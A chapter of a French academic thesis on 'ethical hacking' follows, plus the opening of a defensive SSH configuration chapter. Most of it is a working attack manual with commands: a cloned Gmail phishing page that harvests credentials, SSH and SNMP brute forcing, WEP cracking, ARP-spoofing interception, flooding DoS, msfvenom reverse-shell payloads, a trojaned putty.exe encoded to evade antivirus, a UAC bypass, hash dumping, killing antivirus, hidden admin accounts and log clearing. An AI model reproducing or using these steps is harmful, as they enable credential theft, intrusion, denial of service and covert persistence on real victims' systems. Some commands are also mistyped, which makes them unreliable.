   Dans cette partie, nous allons donc passer en revue la méthodologie retenue généralement 
par les attaquants pour s'introduire illégalement dans un système d'information, quelle qu'en 
soit la finalité.  
   Cette partie ne vise pas à expliquer comment compromettre un système mais une fois de 
plus, à comprendre la façon dont il peut être compromis, afin de mieux pouvoir s'en prémunir. 
La meilleure façon de se protéger étant de procéder de la même manière que l'ennemi pour 
connaître ses vulnérabilités et les corriger, nous allons nous placer dans la peau de l'attaquant. 
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   Pour cela, on a pensé à ce chapitre qui introduit un ensemble de règles d’attaques, de 
protocoles très sophistiqués afin de comprendre comment réagissent ces hackers. 
 

Remarque 

   Dans notre étude, notre système d'exploitation sera Linux (kali, Ubuntu), majoritairement utilisé sur 
les serveurs sensibles ainsi que chez les attaquants, on croit que le principe est globalement le même 
sur tout type de système, seuls les outils changent. 

III.2.   Analyser avant d’attaquer 
 
   La reconnaissance est une étape préalable à toute attaque, qui consiste à collecter le 
maximum d’informations sur la cible pour avoir une idée afin de choisir le type d’attaque et 
les méthodes à suivre. Ainsi que l’utilisation de plusieurs outils lors de l’analyse de la pise 
d’information est indispensable pour comparer les résultats en cas de faux positif. 
 
III.2.1.   Reconnaissance passive 
 
   C’est le faite d’analyser sans d’être détecter par la victime, mais ça prend du temps. 
 
III.2.1.1.   L’ingénierie sociale « Manipulation sociale »  
   Pour récupérer des informations confidentielles par contacte directe, par téléphone, par 
internet ou par lettre [87]. 
 
on peut consulter des sites qui cherchent dans les bases de données, par 
exemple : http://www.whois.net 
whois : est protocole de recherche au niveau de base d’enregistrement de nom de domaine qui va 
récupérer des informations sur le serveur DNS utilisé. 
Il y en a d’autre : 

http://www.archive.org 
http://www.alexa.com 
http://serversniff.net 

 

III.2.1.2.   Social engineering toolkit [88] : 

http://www.social-engineer.org  
on va essayer de cloner le site Gmail a fin de hameçonner notre 
victime. 
On vérifie que « apache2 » marche bien : 
>cd /etc/ 
>cd apache2/ 
>ls 
On s’interesse au dossier : sites-enabled 
>cd sites-enabled/ 
>ls 
On ouvre le dossier : 000-default.conf 
>gedit 000-default.conf 

http://www.whois.net/
http://www.archive.org/
http://www.alexa.com/
http://serversniff.net/
http://www.social-engineer.org/
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Maintenant on  démarre social engineering toolkit : 
On sélectionne selon notre choix : 
C’est une attaque de types social engineering, orienté site web dont on chercher à piéger la victime 
avec’’ un site cloné ‘’ 
On met l’adresse de notre machine locale et le site à cloner : 
>www.gmail.com 
Automatiquement notre outil va cloner la page, il va la récupérer et mettre le tout dans le dossier  
/var/www 
 
>cd /var/ 
>cd www/ 
 
on va trouver un fichier avec extension ‘.txt’ contenant les mots de passes qu’on a usurpé grâce à 
l’hameçonnage de notre victime.  
Lorsque la victime veule se connecter à Gmail on va récupérer les données : le login et le mot de 
passe. 
>cat harvester … 

 
 

 

III.2.1.3.   Balayage [89] : 
   Lorsque la topologie du réseau est connue le pirate peut analyser les paquets TCP transitant 
au niveau du réseau on utilisant : p0f 
 
   On parle ici d’une prise d’empreinte du système, au sein de notre réseau. 
   p0f : nous donne les machines actives au sein de notre réseau. 
 
>p0f –I nom-cart-réseu –p –o nom-out 
     -I carte réseau 
  -p promiscuité au niveau de la carte 
  -o fichier de sortie  

   Netdiscover nous aide à faire un scan passif pour ne pas être détecté par l’IDS ou l’IPS : 
 
> netdiscover –p       

http://www.gmail.com/
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III.2.2.   Reconnaissance Active 
 
   C’est l’interaction directe avec la cible en analysant ces réponse et donc la cible peut 
détecter le scanner mais ça va nous permet de découvrir la cible plus en détails. 
 
III.2.2.1.   Scan de ports et prise d’empreinte des services 
   Le balayage de ports généralement c’est premières étapes à effectuer pour attaquer un 
système. Il permet d’avoir une idée sur le system d’exploitation, les services offerts et les 
ports ouverts pour sélectionner les outils nécessaires [12].   
   Nmap est scanneur de ports. Il liste les ports ouverts avec une description du service associé 
[18], ainsi que le système d’exploitation autorisé et sa version [9]. 
 
 > nmap –sV @cible      

 
 
   En parallèle un fichier va être créé contenant les résultats de scan sous format xtml  
>ls 
> cat myscan.xml  
On le transforme en format html : 
>xsltproc myscan.xml –o myscan.html 
     -o : out,  
Et on l’ouvre sur le navigateur 
     V : version (bannières applicatives) 
Les ports vont être soit : ouverts, fermés, ou filtrés ainsi que le service qui tournent au sein de ce 
port. 
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III.2.2.2.   Prise d’empreinte des systèmes 
   Pour voir le système d’exploitation qui tourne au sein du la machine cible [90]: 
 
>nmap –O @cible 
-O : l’Os qui tourne 
 

 

III.2.2.3.   Finger printing 
   Pour l’OS plus les versions des services [91] . 
 
> dmitry –pb @cible 
     -pb : port + banner 
 

 

III.2.2.4.   Interrogation du serveur DNS 
   Il y a beaucoup d’outils qui sont misent à notre disposition : 
>dnsenum @site    [92] 

>dig @site       [93]  

>whois @site-web      

Un outil qui va nous donner beaucoup plus d’informations  [94]: 
>dmitry -iwnse targethost 
     -i ___@ip host 
     -w___ domaine 
     -n___ information netcraf 
     -s ___sous domaine  
     -e____ adresse email 
 

 

III.2.2.5.   Énumérations des machines 
   Les ports sont ouverts, ce type de test est réalisé après avoir vérifié que la machine est en 
ligne sur le réseau. Pour tester qu’une machine est présente au sein du réseau on utilise hping, 
fping ou tout simplement ping. 
 
III.2.2.5.1.   Ping scanning 
   Ce type de scan est utilisé pour découvrir quels sont les hôtes connectés. On envoyant à 
l’hot cible un datagramme ICMP de type 8 (echo request) et recevant un datagramme ICMP 
de type 0 (echo reply) [25].La réception d’une réponse après un ping indique que le serveur 
est actif [95]. 
 
> hping3 -1 @IP-cible –c 1      
     -c nombre de paquets à envoyer 
     -1 envoie des paquet icmp (0 ip, 2 udp, …) 

hping : c’est un outil très puisant [96].  
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   On peut aussi faire un scan sur une plage d’adressage IP [98]: 

> netdiscover –r @R/24   
-r : pour range, une plage d’adressage. 

   Scan ou niveau d’un réseau local : 

>fping  -r 1 -g @ip-réseau/24 
     -r nombre de tentative d’essais 

    Au niveau du site web : 

>fping –s @web 
 

III.2.2.6.   Scan des réseaux sans fils   
 

>fping @cible  
     Alive : présente  
    Unreachable : n’existe pas [97]. 

 On a besoin en premier lieu d’une carte wifi. 
 

 
On effectue un Kill pour tous les processus qui provoquent des problèmes à airmon-ng 
>airmon-ng check kill 

 
 
On vérifie l’interface de notre carte wifi 
>iwconfig 

 
 
On lance notre carte en mode monitor : 
>airmon-ng start wla0 
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   Après avoir analyser et repérer les failles, passant maintenant à la phase d’attaques et 
l’exploitation des vulnérabilités : 

III.3.   Attaque sur les routeurs 
   Pour exploiter les vulnérabilités existantes sur un routeur donné il faut : 

 
Sur notre navigateur, on tape : 
modèle-du-routeur exploit 
on va avoir les détails. 
 

 
 
 

 

 
 
Et on peut récupérer le BSSID, le chiffrement utilisé, type d’authentification, … etc. [99]. 
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III.3.1.   Attaque sur le mot de passe « par dictionnaire (brute forcing 
attack) » [101] 

   Brute force est une méthode qui permet de trouver le mot de passe on essayant tous les mots 
possibles [100]. 

 

Il nous faut un proxy actif sur notre navigateur 

 

 
 
On utilisant BURPSUITE 
> burpsuite    
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Sur notre navigateur on tape : @ routeur et on donne un mot de passe incorrect 

 
Sur burpsuite, ce qui va nous intéresse c’est ‘login’ et ‘le mot de passe’ 

 
clic droit>send to  intruder  



 

 

59 CHAPITRE III : STRATEGIES D’ATTAQUES ET HACKING ETHIQUE  
 

59 

 
 

Sur le menu on se dirige vers Intruder 

 
intruder > positions > attack_type: cluster bomb 
On supprime qui est en orange et on laisse juste le login et password 

 
Payloads : 
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Au niveau des payloads sets, nous aurons une affaire avec deux payloads : login et pass-
word 

 
On veut insérer une simple liste :  

 
On ajoute un nom d’utilisateur : 
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admin est déjà donné 

 
On passe au mot de passe : 
Sur payload set on met maintenant 2 ; 
 

 
 

Et faire taper les mots que nous voulons les testés : 

 
On revient au target ; 

Sur le menu en dessus >intruder>start attack 



 

 

62 CHAPITRE III : STRATEGIES D’ATTAQUES ET HACKING ETHIQUE  
 

62 

 
Une fenêtre va être affichée pour tester les mots de passes saisis et finalement 

 
 Lorsque vous aurez un status 320 cela veut dire que le mot est juste [102]. 

III. 3 .2   Attaque sur le protocole SSH 
 

on essaie de se connecter en SSH vers la machine cible [103]:  
>ssh @cible 
 
On va essayer maintenant de cracker le mot de passe on utilisant un module metasploit :               
> msfconsole 
> useauxiliary/scanner/ssh_loginv 
On spécifie le nom qu’on veut utiliser :                                                
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> set USERNAME nom-utilisateur 
> set thread 20 
Une fois trouver le mot de passe, il faut arrêter l’opération on tapant : 
> set STOP_ON_SUCCESS true 
 
On va créer notre liste : 
> cd/root/Desktop/ 
>gedit wordlist.txt 
> set pass_file /root/Desktop/wordlist/txt 
>exploit 

Une fois trouvée, nous allons avoir un shell qui a été ouvert. 

 
Hydra est un outil plus puisant [104]: 
 
> hydra –l login –P passlist.txt /root/Desktop/wordlist @cible ssh 
 

 

III.3.3   Attaquer sur le protocole SNMP 
   Pour récupérer le nom de la communauté cible utilisé via le protocole SNMP, On va tout 
d’abord créer un liste spécifique au différent nom de communauté où on va mettre le 
maximum des mots clés possibles, un exemple de cela : Private, Public, Community,… 
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   Private et public sont des noms de communauté par défaut, on peut même ajouter le nom de 
l’entreprise, département ou une combinaison entre les deux [105]. 

 
> gedit snmp-wordlist    
 
On ouvre metasploit pour utiliser un module auxiliaire qui est SNMP-login : 
 
> msfconsole 
msf>use auxiliary/scanner/snmp/snmp_login 
msf> show options 
 

 
 
Les mots de passe vide ne sont pas utilisés donc on met false 
 
On s’intéresse ici plus au nom de la communauté  
>set blank_passwords false 
 
on spécifie le chemin de notre word liste  
>set PASS_FILE snmp-wordlist 
 
et on spécifie l’adresse de l’host cible  
>set rhosts @cible 
 
on précise ainsi le nombre de processus à utiliser 
>set threads 20  
 
une fois trouver le nom, on s’arrête : 
>set stop_on_success true 
 
On vérifie la connectivité avec la cible par un ping et on lance l’attaque 
>run  
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Remarque : un outil très rapide >onesixtyone –c snmpcommunitiesdb @cibl [106] 
 
*Une autre méthode qui va nous permettre de récupérer des informations énormes et de modifier 
des valeurs [107]: 
> msfconsole 
 
On va utiliser un outil pour l’énumération des déférents éléments de la cible [108] : 
>use auxiliary/scanner/snmp_enum 
> show options 
 

 
 

On change le nom de la communauté par ce qu’on a trouvé ici info_sec   
>set community nom_trouvé 
> set rhost @cible 
> run  
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   Des informations sur les matériels, les mémoires de stockages, les processus donc tout va être 
transférer. Essayant de modifier des valeurs en utilisant le Snmpwalk qui va récupérer les adresses 
des oid (chaque objet a un identifiant). 
 
>snmpwalk –v1 –c nom_community @cible 
     v : version du snmp utilise, mettez 1. 
     c : pour community 

 
 
sur une autre fenêtre on lance snmpset 
>snmpset –v1 –c nom_community @cible @oid s Haked 
 
     Haked est le nouveau nom de « oid » 
 

 
Attaque du firewall : reverse Shell  [109]: 
création du payload ; 
 
> msfvnom –p windows/meterpreter/reverse_tcp LHOST-@attaq –f exe > 
/root/Desktop/testReverse.exe 
 
pour l’écoute 
> use exploit/multi/handler 
>set payload windows/meterpreter/reverse_tcp 
>set lhost @attaq 
> exploit 
 
Une fois l’utilisateur clic au niveau du backdoor, on aura un accès au système. 

 

III.4.   Attaque sur le réseau 
 

III.4.1.   Cracker la clé WEP « pour les réseaux sans fils »  
   Aircrack-ng est un programme pour craquer les clés 802.11 WEP et WPA-PSK qui peut 
récupérer les clés une fois que suffisamment de paquets ont été capturés [51].  
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Apres avoir localiser notre réseau cible, on copie son BSSID : 
 
>airodump-ng –c 11 –w wep_cracking –b BSSID wlan0mon 
     c : Représente le canal du réseau cible 
     w : le fichier qui va contenir les Beacons cracké 
     b : pour le BSSID qu’on a copié avant 

 
 

 
 

 
Pour voir si le fichier est bien créer  
>ls  
 

 
 
airodump commence à enregistrer les Beacons  
 

 
 
Ça sera très lent, pour cela on va utiliser un outil qui va nous aider à accélérer l’opération : 
 
>aireplay-ng -1 0 –a BSSID wlan0mon 
 
     -1 : pour une authentification falsifiée  
     -a : pour destination, on met BSSID de la cible 
 

 
 
Après avoir fait une fausse authentification (fake authentication), on commence à envoyer les 
paquets : 
 
>aireplay-ng -3 –b BSSID wlan0mon 
Et maintenant on peut lancer notre aircrack                                             
>aircrack-ng wep_cracking-01.cap 
wep_cracking-01.cap, représente le nom de fichier de capture (>ls ) 
Dans le cas où on a un pareil problème 
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on aura besoin de plus de paquets, et plus du temps, on refaire la même méthodologie et on obtient 
cela : 
 

 
 
On enlève juste les ’ : ’ [clé   1234567890]   [110] 
 

 

III.4.2.  Ecoute du réseau : Sniffing 
Le but ici est d’interception le trafic pour récupérer les données échangées [111]. 

Dans ce qui suit, on va utiliser le module ETTERCAP 

> ettercap –G 
Lorsque notre outil est lancé : 
Tout d’abord, on fait Sniff > Uniffied sniffing 
Pour scanner : Hosts > Scan for hosts, puis Hosts > Hosts 
list pour les voir 
 
on sélectionne l’adresse de la cible, on clique sur Add Target1 en dessous, puis on sélectionne 
l’adresse du routeur et on clique sur Add Target2. 
 
Pour lancer l’attaque, allez dans Mitm > ARP Spoofing > Sniff remote  
Puis dans Start > Start sniffing. 
 
Et maintenant chaque trafic transmis sera affiché en dessous [112]: 
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III.4.3.   Usurpation d’adresse IP : Spoofing 
   IP spoofing (usurpation d’identité) c’est le faite de cacher notre identité en utilisant l'adresse 
IP d'une autre machine, ou d'un équipement, afin de faire une action malveillante (e.g., envoi 
virus, spam, …)[7] 

>dnschef --fakedip=nouveau@ip-dst --fakedomains=site-visité  –
interface @eth0 -q      [113] 
 
Pour plus de performance : 
>arpspoof –t @cible noveau@ipnv-dst 
 
Et pour cela notre machine va avoir la même @MAC que celle de la machine cible [114]. 

 
 

 

III.4.4.   Man in the middle 
   C’est une combinaison avec le spoofing [115] 

   On a maintenant un outil d’interception de paquets qui est difficile à 
détecter, pour le spoofing  de toutes les connexions entre le routeur et 
la machine cible, donc on sera au milieu : 
 
> arpspoof –i eth0 –t @cible @router 
> arpspoof –i eth0 –t @router @cible 
 
   Maintenant, on veut par exemple intercepter tous les liens visités par 
l’utilisateur : 
> urlsnarf      
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III.4.5.   Flooding 
   Cette méthode sert à paralyser le réseau par DOS [116]. 

   Cette commande va envoyer des paquets tcp-syn à la cible, qui va saturer la mémoire (débit 
montant plus faible que le débit descendant) [117] 
 
> hping3 --flood –a @imaginaire-comme-source @cible ping-request 
 

 
 

   Pour synchroniser le flooding  
 
> hping3 –S –a @imaginaire-comme-source –p 22 @cibl           
 
   Il y a une attaque au niveau d’IPv6 orienté DOS qui utilise le flooding via le routeur, sans 
authentification.  
   Les nouveaux OS n’ont pas de limite de nombre de machines au sein des réseaux donc une 
machine supportant IPv6 peut faire partie de plusieurs réseaux IPv6 et c’est ici que réside le vrai 
danger, tout le processus d’écoute va générer des adresses IPv6 et surchauffer le cpu jusqu’à le bug 
c.-à-d. la machine flood. 
   On se dirige vers l’emplacement de package : 
 
>cd téléchargements/ 
>ls 
>cd thc-ipv6-3.0.tar.gz 
>./flood_router6 eth0 
 

 

III.4.6.   Tunneling 
   On cherche de récupérer un shell meterpreter vers un utilisateur légitime sans d’être rejeté 
par le firewall [118]. 

>msfvenom –p windows/meterpreter/reverse_http lhost=@local –f exe > 
/root/Desktop/re8080.exe 
 
On lance le listener : 
 
>msfconsole 
msf> use exploit/multi/handler  
 
On choisit le module reverse-http : 
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msf> set payload windows/meterpreter/reverse_http 
msf> set lhost @attaquant 
 
Et on lance l’écoute : 
msf>exploit             
  Et lorsque la cible clique sur le payload on peut récupérer la session. 

III.4.7.   Port forwarding 
   On parle ici d’un certain réacheminement des ports, cela signifie la redirection des paquets 
réseau vers un autre ordinateur. 

   On veut accéder à un serveur mais ce n’est pas possible parce qu’il est n’est pas accessible via 
internet, donc on va pénétrer l’ordinateur d’un utilisateur légitime et depuis ce dernier on accède au 
système. Donc après la récupération du shell metrerpreter grâce à metsploit [119]: 

 
meter> portfwd add –l 23 –p 23 –r @cible  
 
   -l pour local ou seront acheminer les informations (port 23) 
   -p : port   
   -r pour l’adresse de la victime 
 
Donc la route a été ajoutée, nous pouvons vérifier ça grâce à : 
 
metr> portfwd list 

 
 
Et voici la redirection, maintenant nous allons recevoir les données, lorsqu’on termine on peut 
tous supprimer grâce à la commande port forwarding : 
 
metr>portfwd flash    

 
 

 
III.4.8.   Attaque par déni de service basé sur les protocoles de sécurité 
III.4.8.1.   Type syn-flood  

   Le principe et L’attaque consiste à envoyer une succession de requête de type syn vers la 
cible, dont on envoi le premier paquet de d’établissement de connexion TCP, mais pas le 
troisième paquet [130]. 
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On lance le framework :metasploit   [131] : 
>msfconsole 
 
   On choisit un module, type d’attaque Dos tcp 
>use auxiliary/dos/tcp/synflood 

 
   On utilise : 
>show options 

 
   On donne les paramètres dont on a besoin : 
>set rhost @cible 

 
   Pour confirmer la modification :  
>show options 

 
   On tape exploit pour commencer l’attaque: 
> exploit   
 

 

III.4.8.2.   Smurf  

   Avec cette attaque, on envoie des ping à l’adresse de diffusion « broadcast ». Les paquets 
envoyés à une adresse de diffusion atteignent tous les hôtes du réseau et sont traités sur 
chacun et les réponses ICMP echo reply vont être envoyé par les serveurs de broadcaste vers 
la victime qui provoque une saturation au sein du système. La procédure est comme se 
suit [130]:  

   On lance le module python : scapy  [132] 
>scapy 
 
   On crée un paquet IP s’appelle i: 
>i = IP() 
 
   Destination  (dst) sera l’adresse du broadcast de serveur, selon notre réseau. On crée autre paquet 
ICMP on l’appelle ping : 

>ping = ICMP() 

>i.dst = ‘192.168.133.255’  
 
   La source sera l’adresse de la machine cible, Après ça on va construire notre requête qui est 
constitué de notre paquet IP et ICMP et on l’envoie. La commande sur une seule ligne ça sera : 
>send 
(IP(dst= ’’@broadcast’’,src=’’@cibl’’/ICMP(),count=1000,verbose=1) 
    Count : nombre de paquets à envoyer. 
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III.5.   Attaque coté serveur 
III.5.1.   Attaque par dictionnaire « brute force » [120] 
>hydra –l nom-utilisateur –x 19aA1 @IP-
cible 
   -l : pour spécifie l’utilisateur 
    1:9:Aa1 : les caractères utilisés pour composer les mots de 
passes. 
 
ssh : le protocole utilisé, nous pouvons choisir aussi le ftp 
toutes les combinaisons vont être essayées jusqu’à trouver le 
mot de passe.  
   Nous pouvons effectuer cette attaque sur n’importe quelle 
machine et surtout aussi à n’importe quelle service. 
   Le temps dépond de la puissance de notre ordinateur, les combinaisons à essayées et la sécurité au 
niveau du serveur.  

 

III.5.2.   Déni de service 
   C’est le faite de remplir une zone de stockage ou un canal de communication jusqu’à ce que 
l’on puise plus l’utiliser. Scapy c’est l’outil le plus puisant qui peut forger des paquets [121]: 

>scapy 
>snd(IP(dst= ’’@cibl’’,ttl=0)/TCP(),interface=’’eth0’’,count=10000) 
   ttl=0: paquet mal formé qui va créer la confusion pour le serveur et provoque un DOS. 
   count : nombre de paquets à envoyer. 

On doit envoyer des milliers de paquets afin d’effectuer un déni de service. 

Remarque : 

On trouve aussi un autre outil appelé Slowloris.pl qui est un script écrit en PERL, qui permet à 
une seule machine de faire tomber un serveur (affectant les serveurs apache). Ce protocole 
essaye de garder des connexions (sockets) ouvertes avec le serveur, en envoyant des headers 
http sans terminer la requête. 

Apres avoir téléchargé et installer slowloris : du site github, on va le lancer : 
 
>./slowloris.pl –dns nom-de-domaine 

Et ça commence ! [122] 
 

III.6.   Attaque coté client 
III.6.1.   Trouver la suite du mot de passe 
 

 
>crunch min max –t pass@@ >> listmdpChar.txt 
 
   min : le nombre du caractère minimal 
   max : le nombre du caractère maximal 
   pass : c’est le début du mot de passe,  
   @ lorsque la suite c’est des caractères  
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   (@@ : parce que il reste 2 caractère) 
   (%  lorsque la suite c’est des entiers) 
 
listmdpChar.txt :c’est le fichier qui contient les combinaisons générées [123] 

 

III.6.2.   Exploitation d’une vulnérabilité post client 
 

   après le scan, on va s’introduire dans la machine on 
utilisant l’outil armitage.                                                                                                      
   Lors du démarrage, une boite de dialogue va s’afficher, qui 
demande l’autorisation de se connecter à une base de 
données : 

 
1)-contient l’adresse de la machine ou installé metasploit. 
2)-le port  
3)-le nom d’utilisateur : msf 
4)-le mot de passe : msf 
on clique sur connecter et on lancer le serveurRPC 
 

 
 
   Lorsqu’il se lance : 
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   Hosts>add hosts(on met @ip-cible)>add>ok 
 

 

 
 
   on va lancer le scanner : 
   Automatiquement metasploit va faire appel à nmap et autre outils de scan qui intégré au sein du 
framework metasploit. 
   Une fois le scanne termine on récupère toutes les ports ouverts, les versions des services et autre. 
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trouver les failles exploitables : 
 
Sur le menu : Attacks>Find attacks 
Lorsqu’il termine le rassemblement des attaque, ou on choisir sur le menu : 
 Attacks > Hail Mary > oui,  
qui va tester toutes les exploits et choisir l’idéale. 
Après ça un ‘ Listner‘ va être lancé pour l’écoute des connections entrantes, pour voir s’il est 
possible de récupérer un shell. 
Finalement on peut voir si une session a été lancer ou pas à partir du la commande : 
> meta 
Pour l’exploitation maintenant : on lance notre exploit  
 un clic droit sur la machine > shell2 > interact 
$ cat /etc/passwd 
$ cat /etc/shadow  [124] 

 

III.6.3.   Le cracking de mot de passe utilisateur 
 

   Pour trouver le type du hash utilisé [125]: 
>hash-identifier 
   Il va les classer selon les probabilités : 



 

 

78 CHAPITRE III : STRATEGIES D’ATTAQUES ET HACKING ETHIQUE  
 

78 

     
 
   Pour trouver le hash : 
>findmyhash md5 –h pwd-hashé 
   md5 : le premier type trouvée par hash-identifier 
   pwd-hashé : le mot de passe hashé  (ex : 20E3D49f8gvg5po0jhfr711é) 
 
   il va chercher dans la base de données publique pour trouver le mot passe correspondant : 

 
 

 

III.6.4.   Escalade de privilèges 
   Le but ici est d’augmenter l'accès on obtenant l'accès root. 

   On va élever notre privilège vers le root. pour pouvoir effectuer plus de manipulation au sein du 
système cible [126]: 
   On utilisant ici le fameux metasploit : 
 
>msfconsole 
msf >use exploit/windows/http/badblue_passthru 
msf >show options 
 

 
 

msf >set rhost @cibl 
msf >set rport 145 
msf > exploit 
 
   Après avoir récupérer une session avec notre victime : 
meter>ps   
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   ps : processus 
 
   Et on essaye de migrer vers le processus explorer  pour ne pas être détecté : 
 

 
meter>migrate  2804    
   
on va récupérer l’id : 
 
meter> getuid 

 
 
   On essaye de faire un hushdump, c’est impossible à cause de UAC (User Account Control : est un 
mécanisme de protection des données) : 
 
meter>hushdump 
   Pour éviter l’UAC : 
 
>background 
meter>use exploit/windows/local/bypassuac 
meter>set payload windows/meterpreter/reverse_tcp 
 
   On lance les différentes sessions : 
meter>sessions –l 
>session 1 
>set lhost @IP-attaquant  
 
on lance l’exploit: 
 
meter>exploit 
 

 
   On peut manipuler comme on le veut : par exemple pour récupérer les privilèges systèmes 
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meter>getsystem      
meter>getuid 
 

 
 

Et on a AUTORITE système. 

Exemple de récupération des hashs : 
meter>run post/windows/gather/smart_hashdump    
 

 
 

 

III.6.5.   Maintenir l'accès 
   Pour pouvoir revenir en installant des ports dérobés (backdoor) 

   Apres avoir ouvrir un shell avec la victime [127] : 

 
    
    On va garder la session pour pouvoir revenir : pour faire ceci d’une façon caché, on active le 
service telnet : 
 
>run gettelnet –e 
     -e : pour activer Meterpreter Script 

 
   Et on aura un accès telnet vers la machine qui sera persistant jusqu’à ce qu’on supprime l’accès. 
Mais avant cela, pour accéder à telnet on a besoin d’un login et un passe word. 
 
- Pour accéder à la session (shell) on tape : 
 >shell 
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Pour accéder à la machine et on crée un utilisateur : 
 
>net user login mot-de-passe /ADD 

     ADD: pour ajouter un utilisateur 

 
 

On ajoute cet utilisateur dans le groupe administrateurs : 
>net localgroup administrators login /ADD 

 
Essayant maintenant de se loguer : 
>telnet @cible 

 
   On tape les données (login, mot de passe) et on aura l’accès.  

   Pour récupérer plus d’informations à partir du registre sans être interagis directement avec la 
machine : 
>run scraper 

   Pour désactiver les Antivirus au niveau de la machine cible : 
>run getcountermeasures 

   Kill : 
>run killav 
>screenshot 

   Apres avoir effectué les attaques on efface les traces : >irb 

 
>log.clear() 
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III.6.6.   Backdoor 
   On va utiliser un fichier .exe piégé, on l’envoie à la victime. Il va être sous forme d’un 
programme de connections à distance « putty », on le colle avec notre backdoor [128]. 

>msfvenom –a x86 --platform windows –x putty.exe –k –p 
windows/meterpreter/reverse_tcp lhost=@attaquant lport=3232 –e 
x86/shikata_ga_nai –i 3 –b “\x86” –f –o hello.exe 

 
    Shikata_ga_nai: c’est le module qui nous aide à encoder notre fichier pour éviter la détection via 
l’antivirus. 
 
   -i 3 : encoder 3 fois 
   -f exe : fichier exécutable 
    -o hello.exe : le nom du fichier de sortie 
 
   Une fois le fichier est créer on se dirige vers metasploit pour lancer l’écoute : 
>msfconsole 
 
   On lance le multihundler : 
>use exploit/multi/handler 
 
   On choisit le payload qu’on a utilisé : (windows/meterpreter/reverse_tcp) 
>Set payload windows/meterpreter/reverse_tcp 

 
   On ajoute notre machine : 
>Set lhost @attaquant 

>Set lport 3232 

>Exploit 
 
   Une fois la victime lance le fichier on accède à sa machine, et on peut faire ce qu’on veut : On 
peut faire des screenshot et beaucoup plus de dégâts. Mais une fois l’ordinateur éteint la session 
termine, donc il faut garder l’accès. On lance un module de persistance :metsvc 

>run metsvc 
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III.6.7.   Création d’un backdoor indétectable par l’antivirus 
 

   Apres avoir lancer Veil-Evasion :  
>use c/meterpreter/rev-tcp 

c/> set lhost @attaquant 

c/> run 

 
nom pour output backdoor : 
>BV 
 
    la backdoor crée va être indétectable par l’antivirus  [129] 
 

 
III.7.   Attaque sur les applications Web 
 

   Les criminels tendent à se focaliser sur les applications les plus utilisées, car cela leur assure 
un grand nombre de victimes potentielles. Après tout, il suffit d'un clic pour que l'attaque soit 
couronnée de succès [133].  
 

III.7.1.   Attaque sur les CMS 
CMS pour le Système de gestion de contenu est un système qui permet au plusieurs individus de 
travailler sur un même document. 

dans  le code source de la page :
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   On va effectuer un scan orienté wordpress [134]: 
>wpscan @site 
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   Donc maintenant il nous faut juste copier un lien et le coller sur notre navigateur pour voir les 
détails du code et d’exploitation. 
 

 

 

III.8.   Conclusion 
 
   Une bonne connaissance des règles par les utilisateurs, au travers de formations, 
sensibilisations, de manière régulière renforce en quelques sorte la sécurité qui touche tous les 
utilisateurs d’un système donné. 
   L'insécurité provient généralement de la non-connaissance des fonctionnalités du système. 
Par exemple, le fait de laisser un service actif parce que l'on ne sait pas s'il est utile, représente 
un risque potentiel.   
   Tout d'abord, il s'agit d'une porte supplémentaire sur le système, donc d'un accès à 
surveiller. Mais  le  fait  de  ne pas  connaître un  service  exécuté  sur un  système  ou de ne 
pas  savoir  s'il  est  utile  constitue  un  réel  risque. 
   Dans ce chapitre, on n’a pas visé à expliquer comment compromettre un système mais une 
fois de plus, à comprendre la façon dont il peut être compromis, afin de mieux pouvoir s'en 
prémunir. La meilleure façon de se protéger étant de procéder de la même manière que 
l'ennemi pour connaître ses vulnérabilités et les corriger, nous allons nous placer dans la peau 
de l'attaquant. 
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   La règle connue dans le monde de la sécurité « Jouer la sécurité est le choix le plus risqué 
que l'on puisse faire», c’est pour cela, on a pensé à ce chapitre qui introduit un ensemble de 
règles d’attaques, de protocoles très sophistiqués afin de comprendre comment réagissent ces 
hackers. Comme ça, on ne tombe pas dans ce choix de sécurité, mais au contraire, on sera 
capable de protéger notre système. Le dernier chapitre illustre des cas pratiques de sécurité. 



 

 

87 CHAPITRE IV : CONFIGURATION ET PARAMETRAGE DE NOTRE PLATEFORME DE SECURITE  
 

87 

 

 

 

 

 

 

 

 

CHAPITRE IV : 
CONFIGURATION ET PARAMETRAGE DE 

NOTRE PLATEFORME DE SECURITE  
 

 

 

 

 

 

 

 

 

 

 

 



 

 

88 CHAPITRE IV : CONFIGURATION ET PARAMETRAGE DE NOTRE PLATEFORME DE SECURITE  
 

88 

IV.1.   Introduction 
   La sécurité ne doit pas être une gêne au quotidien, elle ne doit pas perturber l'utilisateur et 
doit permettre à quiconque d'utiliser le système en toute confiance. Il faut donc établir une 
politique de sécurité et pour cela il faut commencer par identifier les besoins en terme de 
sécurité réfléchir et définir les risques ainsi que les conséquences. Dans ce chapitre, on va 
essayer de mettre en pratique quelques paramétrages sécuritaires afin de développer par la 
suite notre plateforme multi-sécurité. 
   Avant de passé au paramétrage de sécurité, on va tout d’abord parler de la configuration des 
éléments. 
 

IV.2.   Test de la connectivité telnet 
   Telnet est un protocole de connexion à distance non sécurisé, transmis les données en clair 
dans le réseau, il répond sur le port 23 [135]. 
>telnet @interface 

 

Bien !! Connexion refusée, et le port 23 n’est pas ouvert sur cette machine. 

 

IV.3.   Vérification de la version de la bibliothèque SSL 
   Les mises à jour sont indispensables, il faut avoir la dernière version parce qu’à chaque fois 
il y a des améliorations et des corrections [136].   
>dpkg –l libssl* 
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IV.4.   Vérifiez que SSH est bien installé 
   Qu’est ce qu’il nous permettre de se connecter s’il n’y a pas de Telnet ? C’est SSH, il utilise 
SSL donc elle est pleinement sécurisée si elle tout le temps mettre à jour [137]. 
>ssh –V 

 
Il est composé de deux parties : 
*La partie client qui s’appelle SSH, qui nous permet de se connecté à un serveur.  
*SSH-serveur qui s’appelle OpenSSH serveur, c’est le paquet qu’on va l’installer s’il n’est pas 
installé, il suffit de taper: 
 
>apt-get install openssh-serveur 
 

 

IV.4.1.   Statut SSH  
On vérifie tout d’abord que le service a démarré [138] 
>service ssh status 

 

 
IV.4.2.   On se connecte au serveur SSH 
   La connexion SSH va se faire à travers une paire de clé, il faut que la signature soit 
reconnue. 
Lors de la première connexion sur un nouveau serveur, SSH va nous demander si on veut 
reconnaitre ce serveur et une signature de la clé va être stockée en local sur notre machine. 
   Nous allons avoir une vérification à chaque connexion sur cette machine, et nous allons être 
avertis s’il y a un problème [139]. 
 
>ssh user-name@interface  
 

 
On choisit : yes 

 
IV.4.3.   Configuration du serveur SSH 
   Le serveur SSH qui tourne sur notre serveur est un daemon donc son nom est sshd. 
Ça configuration se trouve dans etc [140] 
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>cd /etc/ssh/ 

 
ssh_config : la configuration du client 
sshd_config : daemon 
